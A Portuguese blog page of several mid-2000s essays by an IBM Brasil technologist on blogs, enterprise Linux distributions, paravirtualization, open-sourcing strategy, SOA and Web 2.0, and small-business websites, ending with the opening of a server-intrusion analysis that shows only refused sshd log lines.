• Publicado como um Mini Paper do Technical Leadership Council da IBM Brasil [w3], em novembro de 2007.
• Versão audio em MP3 (artigo lido) [w3]
• Mais artigos

Um blog é um website qualquer cujo conteúdo é organizado como um diário (log, em inglês), ou seja, por datas e em ordem cronológica. O nome surgiu quando “web log” virou “weblog”, que em uma brincadeira se transformou em “we blog”, para enfim se popularizar em “blog”.

A cultura dos blogs tem um dicionário de jargões:

• Post: um artigo ou publicação que pode conter texto, imagens, links, multimídia, etc. Um post tem um título, data e hora, é categorizado sob um ou mais assuntos como “vinhos”, “tecnologia”, “viagens”, “poesia”, etc., definidos pelo dono do blog. Usa geralmente linguagem mais direta e descontraída, e pode ser tão longo quanto um extenso artigo, ou conter somente poucas palavras. Um blog é uma seqüência de posts.
• Comentário: visitantes do blog podem opinar sobre os posts, e esse é um lado muito importante da interatividade dos blogs.
• Permalink: um link permanente, o endereço direto de um post específico.
• Trackback e Pingback: um post que faz referência a outro post, até mesmo em outro blog.
• Feed: há ferramentas que permitem ler vários blogs de forma centralizada, sem ter que visitá-los separadamente. O feed é uma versão mais pura do blog, contendo somente os últimos posts em formato XML (RSS ou ATOM), e serve para alimentar essas ferramentas. Podcasts nada mais são do que feeds contendo mídia, ao invés de só texto.

Blog é um nome mais atual para o que se costumava chamar de “home page”. A diferença é que antes da era dos blogs, uma pessoa que quisesse ter um website pessoal, tinha um enorme trabalho para publicar conteúdo de páginas, que geralmente eram estáticas, não interativas, e francamente, sem graça. Era um processo manual que exigia algum conhecimento técnico, e por isso eram geralmente os técnicos que publicavam conteúdo na web.

Com a padronização do conteúdo em ordem cronológica, em posts, surgiram uma série de ferramentas e serviços de blogging, sendo os mais conhecidos o WordPress, Blogger, LiveJournal e MovableType.

Eles facilitaram a publicação de textos, links, multimídia, de forma organizada e bonita, e a web ficou muito mais interessante. Se antigamente um escritor precisava ter influência com editoras para publicar trabalhos, hoje qualquer pessoa é um escritor em potencial. E, sim, os blogs revelaram inúmeros ótimos escritores — alguns viraram celebridades —, só porque agora eles tem acesso a uma plataforma de publicação independente e direta: a Internet.

Os “blogueiros” (bloggers, pessoas que possuem e escrevem em seus blogs) visitam e lêem outros blogs, fazem comentários, criam links e se referenciam, criando uma espécie de conversa distribuída.

A consolidação da cultura dos blogs fez surgir alguns serviços como Technorati, Truth Laid Bear, BlogBlogs, Ping-o-matic, Digg, dentre outros, que tem a habilidade de seguir a conversa. Mais ainda, eles conseguem medir a popularidade de um blog ou de um assunto, e mensurar sua vitalidade e popularidade na web. Usando extensamente idiomas XML como XHTML, RDF, RSS e ATOM, eles conseguem notificar um blog de que ele foi citado em outro blog, ajudando o primeiro a publicar automaticamente um pingback ou trackback, mostrando quem o citou e como.

A Blogosfera é o fenômeno sócio-cultural materializado nessa malha de interações digitais entre os blogs e seus autores. Pode ser comparada a Comunidade de Software Livre. Onde esta cria software de forma distribuída e de acesso livre e direto aos usuários finais, a Blogosfera trabalha com idéias em geral, poesia, fotografia, multimídia, notícias, de qualquer um que se disponha a escrever para qualquer um interessado em ler.

Como dizem Doc Searls e David Weinberger no artigo Mundo de Pontas (“World of Ends”), a Internet é uma grande esfera oca com a superfície formada por pontas interconectadas. Bem, nós somos as pontas e ela é oca porque não há nada no meio que limite a nossa interação. Essa metáfora explica como os bloggers ganharam voz ativa na sociedade livre da Internet, onde falam bem de quem gostam e denunciam quem ou o que não gostam. Sendo público e interativo, qualquer assunto verídico e bem conduzido tem potencial para virar uma bola de neve ao ponto de iniciar um escândalo político (exemplo), obrigar uma empresa a admitir que deve fazer um recall de produtos defeituosos, ou de dar informações muito precisas sobre a bomba que explodiu no bairro durante uma guerra (warblog).

O Software Livre, a Blogosfera e outros movimentos socioculturais que estão por vir são um resultado direto da benéfica massificação da Internet.

Empresas têm usado blogs como forma de se aproximarem de seus clientes. Sua linguagem descontraída, não-institucional e principalmente interativa derruba barreiras e potencializa comunidades. Bons blogs corporativos passaram a ser peça chave do ciclo de desenvolvimento de produtos, como plataforma de divulgação das próximas novidades e ponto de coleta direta de opiniões de usuários.

O que você está esperando para ingressar na Blogosfera ?

Permalink | 4 comments | Filed under: Community and Society, Essays, Web 2.0.
Add to del.icio.us digg | Who's linking? Technorati Google

• English version
• Publicado na Linux Magazine de Setembro de 2007
• Este artigo é de certa forma uma transcrição de uma apresentação.
• Arquivo original em formato ODF e PDF.
• Mais artigos

É importante começar dizendo que todas as distribuições Linux, incluindo as comerciais — Red Hat Enterprise Linux, SUSE Linux, Xandros, etc — e não-comerciais — Debian, Slackware, Gentoo, etc — atendem a maioria das necessidades reais. Escolher uma melhor entre elas é mais uma questão de gosto pessoal do técnico que já a conhece do que de funcionalidades. Mas uma empresa precisa pesar mais aspectos — além do gosto — para garantir uma escolha estratégica de benefícios de longo prazo.

Suporte e Certificação

Todas as distribuições Linux empacotam, de uma forma ou de outra, mais ou menos os mesmos softwares Open Source (o Kernel, Apache, Samba, bibliotecas, Gnome, KDE, etc). Mas somente as chamadas distribuições chamadas enterprise incluem suporte junto ao seu produto.

Para um usuário, suporte significa:

1. Um parceiro disponível agora e no longo prazo, para transferir riscos operacionais
   Este é o ponto mais importante. Empresas não querem tomar riscos — especialmente os riscos inerentes ao Open Source.

2. Acesso rápido a atualizações de qualidade
   Empresas em geral tem recursos limitados para compilar, testar e integrar atualizações de software Open Source.

3. Acesso a um grande número de fabricantes independentes de hardware (IHV) e de software (ISV) certificados e disponibilidade de soluções complexas pré-testadas
   Uma parte crítica de qualquer projeto de TI consiste em correlacionar a certificação entre seus componentes (hardware, storage, middleware, SO, etc). A característica mais importante e valorizada que uma distribuição pode prover, mais do que as tecnologias embutidas no SO, é a sua capacidade de criar ecossistemas de hardware e software homologado.

Modelo de Subscrição versus Preço por Licença

Empresas que vendem software comercial (como a Microsoft, IBM, Oracle, etc) vão permitir o uso de seus produtos somente após a compra de um direito de uso. Esses “direitos compráveis” são hoje em dia chamados de licença comercial.

O software contido em qualquer distribuição Linux é sem custo. Os desenvolvedores desses softwares licenciaram seu trabalho sob a GPL, BSD, Mozilla Public, IBM Public ou alguma outra licença Open Source, que garante a qualquer um o direito de usar e redistribuir o software sem ter que pagar por isso.

É errado dizer que se “compra” uma distribuição Linux (ou uma licença de seu uso). Não se pode comprá-la. Na prática ela já é sua. É como dizer que um usuário irá comprar o conteúdo de um site. Não há nada material para adquirir. Por outro lado, o que sim pode-se dizer é que se está assinando um serviço que provê assistência técnica, acesso a atualizações, e ingresso a um ecossistema de produtos que inter-operam de uma forma pré-testada e certificada — os pontos de suporte pincelados anteriormente.

Então empresas que fazem distribuições enterprise (como Red Hat, Novell, Xandros) vendem esse serviço, e não o software, porque o último é gratuito.

Escolhendo a Melhor Distribuição

Há duas formas responsáveis e maduras de usar alguma distribuição Linux nas operações de TI de uma empresa:

1. Adquirir subscrição de uma distribuição enterprise global como as vendidas pela Red Hat e Novell
   A subscrição atrela o software Open Source a um suporte de escala global, criando ambiente estável e favorável para o florescimento de um ecossistema de ISVs e IHVs certificados.
2. Usar distribuições gratuitas como Debian ou Slackware, e adquirir serviços de suporte de uma companhia local, independente
   Isso pode trazer mais risco por causa da operação de suporte não-global, e falta de integração entre o empacotamento do software e seu suporte, o que leva a um ecossistema fraco ou inexistente de ISVs e IHVs.

Em termos de flexibilidade técnica e escolha de fornecedor — pontos que impactam em custo —, as duas opções são iguais. Todos os benefícios da segunda opção estão presentes na primeira, enquanto na segunda estão ausentes os aspectos de ecossistema de ISVs e IHVs da primeira.

Para uma empresa que precisa tomar decisões pragmáticas, parece fazer mais sentido adquirir diretamente um produto como o RHEL e SLES, que atrela suporte ao software na fonte, do que manualmente integrá-los em níveis regionais. A segunda opção, com Debian etc, também tem sido escolhida com sucesso por empresas principalmente do setor público, e trazem benefícios sociais e econômicos gerais por manterem o dinheiro circulando dentro do país.

Empresas devem prestar atenção aos seguintes pontos, mais ou menos nesta ordem, quando estão escolhendo uma distribuição Linux para rodar suas aplicações de negócio:

1. Com qual fabricante de distribuição eu tenho melhores relacionamentos comerciais ?
2. Qual fabricante tem melhor preço de subscrição pelo valor oferecido ?
3. Qual distribuição meus técnicos conhecem melhor ?
4. Qual distribuição é suportada e certificada por quem me fornece produtos de hardware e software ?
5. A não ser que se saiba muito bem o que se está fazendo, empresas devem ser responsáveis e usar distribuições enterprise.

Para empresas que precisam escolher rapidamente uma distribuição, há duas opções enterprise que tem um forte ecossistema e penetração no mercado: Red Hat Enterprise Linux e Novell SUSE Linux Enterprise. Umas poucas diferenças entre elas tem se tornado cada vez maiores ao longo do tempo, mas a maioria das diferenças tem convergido ou desaparecido. Veja uma comparação na tabela.

Outras Distribuições Enterprise

Há alguns provedores de distribuições Linux com modelos de negócio similar ao adotado pela Red Hat e Novell. As mais famosas são Ubuntu (tecnicamente baseado no Debian), Mandriva (fusão da Conectiva, Mandrake e outras), Xandros (também baseado no Debian), para citar algumas. Elas estão focadas em prover um produto global de tal forma que suporte e serviços possam ser disponibilizados automaticamente ou num modo self-service.

Há uma lei intrínseca do mercado que busca o equilíbrio lançando mão de duas opções de escolha. Uma opção pode ser boa (na verdade não há opção quando só existe um caminho), duas opções maduras é melhor, mas três ou mais opções já é demais para o mercado digerir. E parece que o mercado já definiu suas duas escolhas maduras com a Novell e Red Hat.

Mesmo se essas outras distribuições enterprise tiverem produtos melhores, elas terão que investir uma quantidade considerável de energia construindo um ecossistema de ISVs e IHVs. Mais do que isso, ISVs e IHVs terão que fazer uma pausa em suas operações para ouvir o que estas novas distribuições tem a oferecer.

Ecossistema é tudo que importa. Um produto com um bom ecossistema pode facilmente se tornar melhor que um excelente produto sem ecossistema. Provavelmente este é o aspecto mais importante a considerar quando uma companhia escolhe uma distribuição.

Não se pode dizer que certa distribuição é melhor que todas as outras. Deve-se sempre colocar na balança aspectos pragmáticos visando uma boa aderência a sua empresa ou a um certo projeto.

Permalink | 17 comments | Filed under: Essays, Linux & Open Source.
Add to del.icio.us digg | Who's linking? Technorati Google

• Versão adaptada publicada como um Minipaper do Technical Leadership Council da IBM Brasil [w3], em 28 de junho de 2007.
• Versão audio em MP3 (artigo lido) [w3]
• Mais artigos

A virtualização é um recurso usado para simplificar, esconder ou mascarar detalhes de funcionamento infra-estruturais de um hardware ou de um software. Sua função é fazer um componente simular ou se comportar como outro tipo de equipamento. Desta forma, o que é executado sobre a plataforma virtualizada passa a dar mais foco à sua super-estrutura, ou seja, à lógica de negócio.

Fica mais fácil entender quando classificamos alguns tipos interessantes de virtualização:

• Driver de dispositivo: esconde detalhes de um dispositivo específico criando uma representação virtual de um dispositivo genérico. É uma das formas mais populares de virtualização.
• Virtualização de hardware: trata-se de um software que simula todos os aspectos de um computador, incluindo firmware e dispositivos.
• Virtualização de sistema operacional: provê interfaces genéricas que podem ser usadas por uma ou várias aplicações simultânea-mente. É uma das virtualizações mais completas, mais usadas e a que é menos associada à idéia de virtualização.
• Virtualização de Servidor de Aplicações: idêntica em todos os aspectos a de SO, mas provê APIs e serviços de ordem mais abstrata. SOs modernos como Linux e Windows já incluem esta camada como parte das funcionalidades que provêem. Como exemplo, temos J2EE e várias outras APIs no universo Linux e .NET no mundo Windows.
• Grid: pode ser visto como um novo sistema operacional cujas interfaces simplificam, escondem e automaticamente gerenciam uma malha de recursos computacionais heterogêneos e distribuídos.

Poderíamos citar outros tipos, mas o importante agora é entender que o objetivo maior do uso de virtualização é a independência e separação lógica entre camadas de funcionalidades diferentes, melhor gestão de políticas de segurança e melhor aproveitamento de recursos computacionais.

A virtualização de hardware é especialmente prática porque permite manipular o que antes era metal e silício físicos, como informação que pode ser gravada numa mídia e até mesmo transportada via rede. Mas a separação lógica entre a máquina virtual hóspede e o sistema operacional hospedeiro não lhes permite cooperar de forma mais eficiente. Por exemplo, o hospedeiro não sabe como o seu hóspede está usando a memória física. Assim, pode haver um retrabalho em tarefas comuns como gerência de memória virtual.

A paravirtualização, a princípio, parece uma virtualização de hardware, mas propõe que o sistema operacional hóspede saiba que ele está sendo executado na camada virtual e possa interagir com ela. Isso implica em alterações no sistema operacional hóspede, mas garante uma cooperação sem precedentes entre as duas camadas. O ganho imediato desta cooperação é a maior performance do conjunto.

O datacenter do futuro, vislumbrado com tecnologias de paravirtualização do presente, será todo virtual. Muitos dos produtos que hoje são executados em servidores físicos dedicados, sem virtualização, passarão para servidores paravirtuais. Isso acontecerá pois a perda de performance da paravirtualização tende a zero, e ao mesmo tempo ganha-se muita flexibilidade de operação, benefício típico da virtualização em geral.

A máquina paravirtual passa a ser como um líquido que se adapta a qualquer recipiente, podendo ser migrada a quente para outro equipamento com apenas milissegundos de indisponibilidade real, armazenada em backup ou fazer parte de uma infra-estrutura de alta-disponibilidade de máquinas virtuais.

O primeiro sistema operacional moderno que implementou essas modificações para paravirtualização foi o Linux, com o projeto Xen. A idéia se popularizou e aderiram a ela vários fabricantes. Hoje há um diálogo bem sucedido na indústria sobre padronização das interfaces hóspede-hospedeiro.

Com essa padronização se concretizando e com os benefícios que a paravirtualização oferece, podemos dizer que nos próximos anos ela substituirá por completo a tradicional virtualização de hardware.

Permalink | 3 comments | Filed under: Essays, Info & Biz Technology.
Add to del.icio.us digg | Who's linking? Technorati Google

A resposta rápida é: se um software fechado ainda traz lucro para seu dono não há porque abrir seu código fonte.

Mas na verdade essa é uma questão deveras delicada, e a decisão é muito difícil de se fazer.

Um software tem dois grandes valores:

1. O valor de seu código, ou o quanto o mercado valoriza financeiramente a quantidade de trabalho empregada para desenvolver aquele software.
2. Seu valor ecossistêmico, ou quantas pessoas conhecem bem esse software e estão prontas para trabalhar com (e para) ele, usando, desenvolvendo extensões, escrevendo livros, etc.

O segundo ponto é mais difícil de entender, então para explicar tomemos como exemplo o Adobe Photoshop versus o Gimp. O último tem a maioria das funcionalidades do primeiro e é de graça, mas o primeiro continua sendo muitíssimo mais popular, conhecido, usado, etc. O valor ecossistêmico do Photoshop é bem maior que o do Gimp e isso inclusive aumenta seu valor financeiro.

E para o primeiro ponto, lembrem-se do excelente webserver de código fechado da Netscape que perdeu a guerra ao se deparar com o Apache HTTP Server. O mercado não estava mais disposto a gastar dinheiro com algo tão simples e estrutural como o código fonte de um webserver.

Se você abrir o código cedo demais, vai perder lucro, mas se esperar muito pode perder ecossistema porque seus usuários irão migrar para opções abertas mais flexíveis e mais baratas. A qualidade geral da opção aberta talvez seja inferior num certo momento, mas conforme seu ecossistema cresce, a qualidade também cresce talvez ultrapassando as alternativas fechadas.

Há duas vantagens em abrir o código fonte:

1. A primeira é tática e está relacionada a terceirizar o trabalho massante de manter um código que não tem mais valor comercial, mas que ainda é vital para outros produtos de maior valor.
2. A segunda é de ordem estratégica e muito interessante. Consiste em usar o poder social do Open Source em agregar comunidades e assim estabelecer um padrão na área do código que foi aberto. Isso aniquila a concorrência, e se não há um padrão geral estabelecido, a abertura bem sucedida e amadurecida define um Padrão Aberto.

Abrir só com o primeiro ponto em mente, geralmente leva ao fracasso. Foi o caso do Darwin e o OpenSolaris, pois não conseguiram criar ao seu redor um ecossistema viável para sobreviverem sem seu criador. Seu código foi aberto muito tarde, tão tarde que Linux já dominava a cena de sistemas operacionais.

Quando há um equilíbrio entre as duas vantagens acima, abrir o código fonte pode mudar completamente o rumo do mercado naquele setor. Foi o que aconteceu com o Eclipse e o OpenOffice.org. No caso do Eclipse, era uma grossa camada de código muito bem feito mas que dava muito trabalho para manter. Além do fato de que o verdadeiro valor de produto estava no que ficava sobre o Eclipse, como o antigo WSAD da IBM. Quando foram abertos, não havia nem sombra de algo similar em código aberto e com aquela qualidade. O resultado hoje é uma comunidade dinâmica ao seu redor que está levando esses projetos onde nunca se imaginava poderem chegar.

O poder de uma abertura estrategicamente bem pensada pode abalar as bases de um produto bem estabelecido. É o caso do OpenOffice.org mais ODF versus o MS Office e todo o barulho que temos ouvido na mídia e nos governos.

Hoje, softwares que implementam conhecimento muito específico de áreas avançadas como engenharia, arquitetura, negócios, logística, etc estão longe de serem abertos, simplesmente porque o mercado ainda remunera bem seus fabricantes. Há opções abertas, mas é tão difícil criar e autosustentá-las de forma global e com qualidade, que as opções fechadas ainda são melhores.

E softwares que implementam funcionalidades de uso genérico como o de um sistema operacional, servidor de arquivos, webserver, etc, graças ao mundo pequeno que a Internet nos ofereceu já dominam seu escopo inclusive em termos de ecossistema, e ninguém mais se arriscará a criar um concorrente de código fechado. A excessão aqui é o Microsoft Windows, único sistema operacional proprietário e de código fechado, que ainda detém um ecossistema gigante.

Já estamos vivendo uma época em que a decisão de abrir o código fonte não está mais no âmbito da infraestrutura. Nos próximos anos provavelmente vamos ver middlewares populares terem seus códigos abertos. Open Source está avançando nesse setor, e a capacidade dos gestores dessas áreas em tomar decisões inovadoras será o que vai diferencia-los da concorrência.

Isso acontecerá num ritmo natural. Não se pode mudar os nove meses de uma gestação. São idéias que naturalmente estão amadurecendo no mercado.

Permalink | 13 comments | Filed under: Essays, Linux & Open Source.
Add to del.icio.us digg | Who's linking? Technorati Google

Apesar de os frabricantes de TI — como a IBM — serem os que mais falam sobre isso, ingressar em SOA significa primeiro modularizar seus processos de negócio para depois mapear isso aos módulos de aplicações e infra-estrutura.

Grid é um conceito meio obsoleto. Como conceito, mas não como tecnologia. O conceito é obsoleto porque sua atuação é extremamente estrutural e muito complexa. Toda a terminologia relacionada a Grid tem caráter técnico, difícil de explicar e de nada adianta uma empresa pensar em Grid se seus processos de negócio e aplicações que os implementam não estiverem modularizados.

Por isso inventaram SOA. Para que provedores de TI pudessem ter um discurso mais ameno e acessível ao vender a idéia para gestores em seus clientes. E também para atacar o problema do excesso de complexidade da TI do cliente em sua raiz: na modelagem de seus processos de negócio.

E Web Services, onde entra? Dividindo em camadas, o conceito de SOA mora na fronteira entre negócios e TI. Na hora em que os processos vão se materializar em software e aplicações, a boa prática sugere usarmos certos padrões de desenvolvimento, de integração entre módulos. Esses padrões foram agrupados juntos nas especificações de Web Services, e se preocupam em definir como se faz chamadas a serviços (métodos) remotos, como um serviço encontra outro, etc. Então, nessas camadas conceituais, Web Services encontra-se logo abaixo de SOA.

E Grid está logo abaixo de Web Services. Ocupa-se dos mesmos problemas e soluções, mas com abordagens mais operacionais. Grid nasceu em um ambiente científico e WS em um ambiente de aplicações de negócios. Reinventaram a roda um do outro diversas vezes. Mas nos últimos anos têm juntado esforços para limpar os overlaps a fim de produzir um único conjunto de métodos e boas práticas.

Tudo isso é Virtualização

Se a virtualização de hardware (Xen, VMWare, z/VM) divide um equipamento em vários pedacinhos, SOA, WS e Grid dividem a aplicação em vários pedacinhos funcionais.

A virtualização de software (SOA, etc.) é mais difícil de fazer. Mas é também muito mais poderosa que a de hardware. Traz benefícios mais consistentes, mais abrangentes (porque tiveram que arrumar a casa dos negócios antes) e de mais longo prazo.

Tudo isso tem a ver com a Web 2.0

Explicar Web 2.0 está fora do escopo agora, mas sua arquitetura tem muito a ver com SOA.

Ao invés de feeds, podcasts e APIs JavaScript da Web 2.0, SOA tem serviços, provedores de dados e de funcionalidades. Equivalente ao HTML, capaz de juntar funcionalidades e dados de diversos sites, SOA tem a Linguagem de Execução de Processo de Negócio (BPEL, que é XML) que define a ordem e dependências ao juntar Web Services para formar uma aplicação maior. O papel das tags e folksonomy da Web 2.0, é exercido pelo UDDI no contexto de Web Services.

Mashups da Web 2.0 (experimente o iGoogle) são as Aplicações Compostas do SOA (veja também na Wikipedia).

E o Enterprise Service Bus do SOA (também na Wikipedia) tem o Browser como seu equivalente na Web 2.0. Sim, porque ambos tem a missão de materializar as conexões lógicas definidas pelo DHTML ou BPEL.

Web 2.0 é a Arquitetura Orientada a Serviços global.

Permalink | No comment | Filed under: Essays, Web 2.0.
Add to del.icio.us digg | Who's linking? Technorati Google

Quando for comprar serviços para criar seu site, exija os seguintes pontos (os links levam para as explicações):

1. Quero um site onde eu mesmo posso atualizar o conteúdo, como se fosse um blog.
2. Onde hospedar o site, em que computadores ele vai rodar ?
3. O site/blog não pode ser feito em Flash.
4. O site/blog deve ser compatível com qualquer browser em qualquer plataforma, principalmente Firefox, Internet Explorer, Safari e Opera.
5. Não é necessário ter uma animação de abertura.
6. Não pode haver popups nem frames, deve ser de fácil navegação e usar permalinks semânticos.
7. O site/blog deve conter informações objetivas e precisas.
8. O site/blog deve usar tecnologias abertas e não-proprietárias.

Seguem os detalhes de cada ponto…

Não se chama mais site, agora é blog

Blogs estão na moda, então entre na moda.

Não é a toa. Se você disser “entre no blog do meu restaurante” ao invés de “site”, as pessoas sabem que estarão mais próximas de quem criou a informação ali, e não só da informação em sí. Na cabeça das pessoas, um site raramente é atualizado, mas um blog sempre tem novidades. O já conhecido formato de blog sugere que os visitantes poderão interagir, comentar.

Não conte para ninguém, mas site e blog são praticamente a mesma coisa, mas optando pelo formato de blog abre um leque de opções do uso de ferramentas já prontas para facilmente gerenciar seu conteúdo. Isso significa que seu site (ou blog) ficará pronto mais rápido (instantaneamente, na verdade), com mais funcionalidades, nasce bonito, e organizado de um jeito já familiar para as pessoas, além de ser interativo.

Outra vantagem de um blog é que você mesmo vai poder configurar e atualizá-lo tão facilmente quanto escreve um e-mail.

O visual de um sistema de blog como o WordPress é definido pelo tema usado. A idéia de temas pode ser comparada a uma roupa que se veste: troque de roupa e mude seu visual sem tocar no conteúdo, da mesma forma que troca-se o tema de seu blog sem interferir no conteúdo textual etc.

Há uma infinidade de temas gratuitos genéricos prontos na web, mas para uma empresa, estabelecimento, etc o ideal é contratar um webdesigner para criar (ou adaptar) um tema específico, com o seu logotipo e a sua cara. O trabalho técnico para executar esse trabalho dura aproximadamente 1 semana, e no caso do WordPress.org, o webdesigner deve ter conhecimento de PHP, além dos básicos XHTML e JavaScript (não precisa lembrar esses nomes, só garanta que seu webdesigner conhece tais tecnologias).

Em que computadores seu site vai rodar, onde hospedar ?

O custo mensal para se ter um blog/site é baxíssimo. No Brasil pode-se contratar excelentes provedores de espaço como a Insite por aproximadamente R$16 por mês. Já incluso todas as ferramentas necessárias para criar o blog, como o WordPress.org.

O provedor que escolhi para este meu site é o DreamHost que fica nos EUA. Por uns R$70 por ano eles me dão 230GB de espaço, mais banda praticamente ilimitada e um ótimo serviço. Alí pode-se rodar um blog WordPress.org, ou outros softwares que facilitarão a sua vida para gerenciar o conteúdo, seja textos, fotos, multimídia, etc: Drupal, Joomla, Gallery etc.

Seu site vai morar em computadores que rodam Linux (por oferecer maior segurança e estabilidade) e seus usuários Linux, Windows, Mac ou qualquer outro poderão navegar nele sem problema.

Evite Flash

Flash é a tecnologia que permite animações bonitinhas em sites da web, mas que começou a ser impropriamente usada para fins mais centrais de alguns sites, até o ponto enlouquecido de o site inteiro ser feito em Flash.

É ruim para seus visitantes: Flash é uma tecnologia proprietária, e nem todos os seus visitantes vão tê-lo instalado. E os que tiverem talvez o terão numa versão antiga (você lembra de ter atualizado seu Flash alguma vez?). Visitantes que usam Linux por exemplo — 20% da web aproximadamente — em geral não tem. Não exclua seus usuários.

É ruim para seu blog: Há uma ciência oculta na web chamada Search Engine Optimization (ou Otimização Para Sistemas de Busca), em que profissionais especializados conseguem fazer um site aparecer no topo da pesquisa por palavras em sites como o Google, Yahoo, MSN Search, etc. Bem, qualquer palavra ou link (isso inclui menus que levam ao texto) contidas em arquivos Flash serão invisíveis ao Google, fazendo seu blog praticamente desaparecer em resultados de busca. Os potenciais clientes que usam o Google e companhia para procurar coisas que você vende também desaparecerão.

Use Flash somente em coisas marginais e mesmo assim em elementos que não interferem na informação que seu site/blog provê.

Existem outros browsers

Lembre-se que o browser que você e seu produtor de site usam pode não ser o mesmo de todos os seus visitantes. O Firefox já usado por uns 30% da web. Para acertar neste ponto, garanta que seu blog é bem visto no Firefox, Safari (popular no Mac), Opera (popular em celulares) e Internet Explorer.

A Internet não é um panfleto de propaganda

Uma das coisas mais inúteis e irritantes de muitos sites é a tal da apresentação inicial, geralmente feita em Flash. Claro que há o link para “pular a animação” mas se este também estiver embutido no Flash pode dizer adeus a alguns visitantes: o resto de seu site é inacessível e contribui para a tal exclusão digital.

Um panfleto é recebido na rua de forma passiva, e a capa deve ser atraente para que o usuário queira abrir e ver o resto. Na Internet é diferente. Dificilmente alguém vai “cair” no seu site por acaso. As pessoas ativamente te clicaram porque acreditam que você tem a informação que elas precisam. Não as aborreça com essas apresentações iniciais. Em suma, isso só serve para duas coisas: dar uma desculpa ao webmaster que você contratou para te mostrar seus conhecimentos em operar o programa que cria aquilo, e gastar seu dinheiro pelas horas de trabalho cobradas.

Use melhor as horas pagas ao seu web-designer e peça para ele criar um site/blog semântico, que os mecanismos são capazes de ler.

Morte aos Popups

Sobre as tais janelas saltitantes que surgem quando clicamos em links de sites mal feitos, saiba que browsers modernos corretamente as bloqueiam. Se você as vê na hora que está testando seu site pela primeira vez, provavelmente foi porque o browser foi explicitamente configurado para deixá-las saltar. Em geral seus usuários não as verão.

Os popups tem outro sério problema: em sites mal feitos, certas informações preciosas só podem ser encontradas dentro de popups, e como essas janelinhas estão fora do fluxo de navegação normal (como Flash) essas informações também serão invisíveis ao Google e companhia, e não aparecerão nos resultados de busca.

Estabeleça a idéia de que todo pedaço de informação em seu site deve poder ser acessível diretamente por links externos (também conhecidos por “permalinks“), e não só navegando via a página principal.

Seus clientes querem te ligar

Você ficará surpreso em saber quantas pessoas tem preguiça de ler ou gastar 5 minutos (ou mais, se o site for desestruturado) navegando em seu blog para encontrar o que procuram.

Para aproximá-las de você, deixe seu telefone com código de área visível em todas as páginas, por exemplo no final de cada uma. Só e-mail não basta. Muito menos formulário para entrar em contato. Lembre-se: de qualquer forma, antes da Internet o único jeito de contactarem seu estabelecimento era por telefone.

Se o seu estabelecimento for um serviço, restaurante, hotel, loja, vai perceber que a maioria liga para saber onde fica, preços, se está lotado, o que há no cardápio, etc. Quando as perguntas freqüentes ficaram óbvias, trate de criar páginas com respostas claras no seu site, mapas interativos como o abaixo, etc.

map

map

Restaurante Maha Mantra

map

Cantina do Mello

Evite tecnologias proprietárias

Use padrões abertos. Eles estão disponíveis, são mais baratos, e te dão mais flexibilidade que as tecnologias proprietárias.

Não é exatamente o webdesigner quem deve escolher as tecnologias usadas em seu site. Ele vai te sugerir as que ele conhece, mas não necessariamente são as melhores para você.

Um site/blog desenvolvido com tecnologias proprietárias te forçará a ter que pagar por elas pelo resto da vida de seu site. E saiba que a cultura da Internet criou diversas tecnologias abertas, muitas vezes melhores, muitas vezes gratuitas, que te dão escolha, poder de negociação, etc.

Veja uma comparação:

Outros detalhes

• Seu site ou blog deve usar a codificação UTF-8 ou Unicode. Esta técnica é a garantia de que acentos vão aparecer corretamente em qualquer browser e sistema operacional.
• Evite também frames. Eles nasceram a partir de um erro de projeto, são considerados obsoletos, tem problemas similares aos popups e Flash, violam padrões, e seus criadores se arrependeram de te-los criado.

Permalink | 32 comments | Filed under: Essays, Web 2.0.
Add to del.icio.us digg | Who's linking? Technorati Google

O idealismo de mente aberta leva o mundo para frente. E o idealismo hermético, enclausurado, sem visão, fundamentalista, freia a evolução do mundo e da sociedade.

De qualquer forma, o idealismo como característica de personalidade, sempre vem empacotado com outras características, tais como falta de praticidade, um “não consigo terminar o que comecei”, e um altruismo que muitas vezes leva a irredutibilidade e, inevitavelmente, ao fundamentalismo.

Mas a visão mais ampla dos idealistas geralmente serve para inspirar pessoas de mente mais prática, menos cerebral, mais emocional, que pensa menos e faz mais, que enfim impulsionam a roda da história.

O progresso se faz com a mistura de personalidades idealistas (e teóricas) com as de tendência prática. Raros os líderes que tem ambas as características.

Os idealistas que enxergam 1000km no futuro e observam, durante a sua vida, a humanidade caminhar somente uns 2km para frente, devem se dar por satisfeitos. Esses 2km são exatamente o que a humanidade como um todo, hoje, é capaz de caminhar.

A evolução social, moral e benéfica não acontece a passos largos. Aos olhos dos impacientes parece até não acontecer. Mas na verdade nunca para e nunca anda para trás.

Permalink | 6 comments | Filed under: Community and Society, Essays.
Add to del.icio.us digg | Who's linking? Technorati Google

• Publicado na Linux Magazine, edição de dezembro de 2006 (que só chegou nas bancas em fevereiro de 2007 !!!).
• Arquivo original em formato ODF e PDF.
• Mais artigos

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os Rastros Deixados pelo Cracker

O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
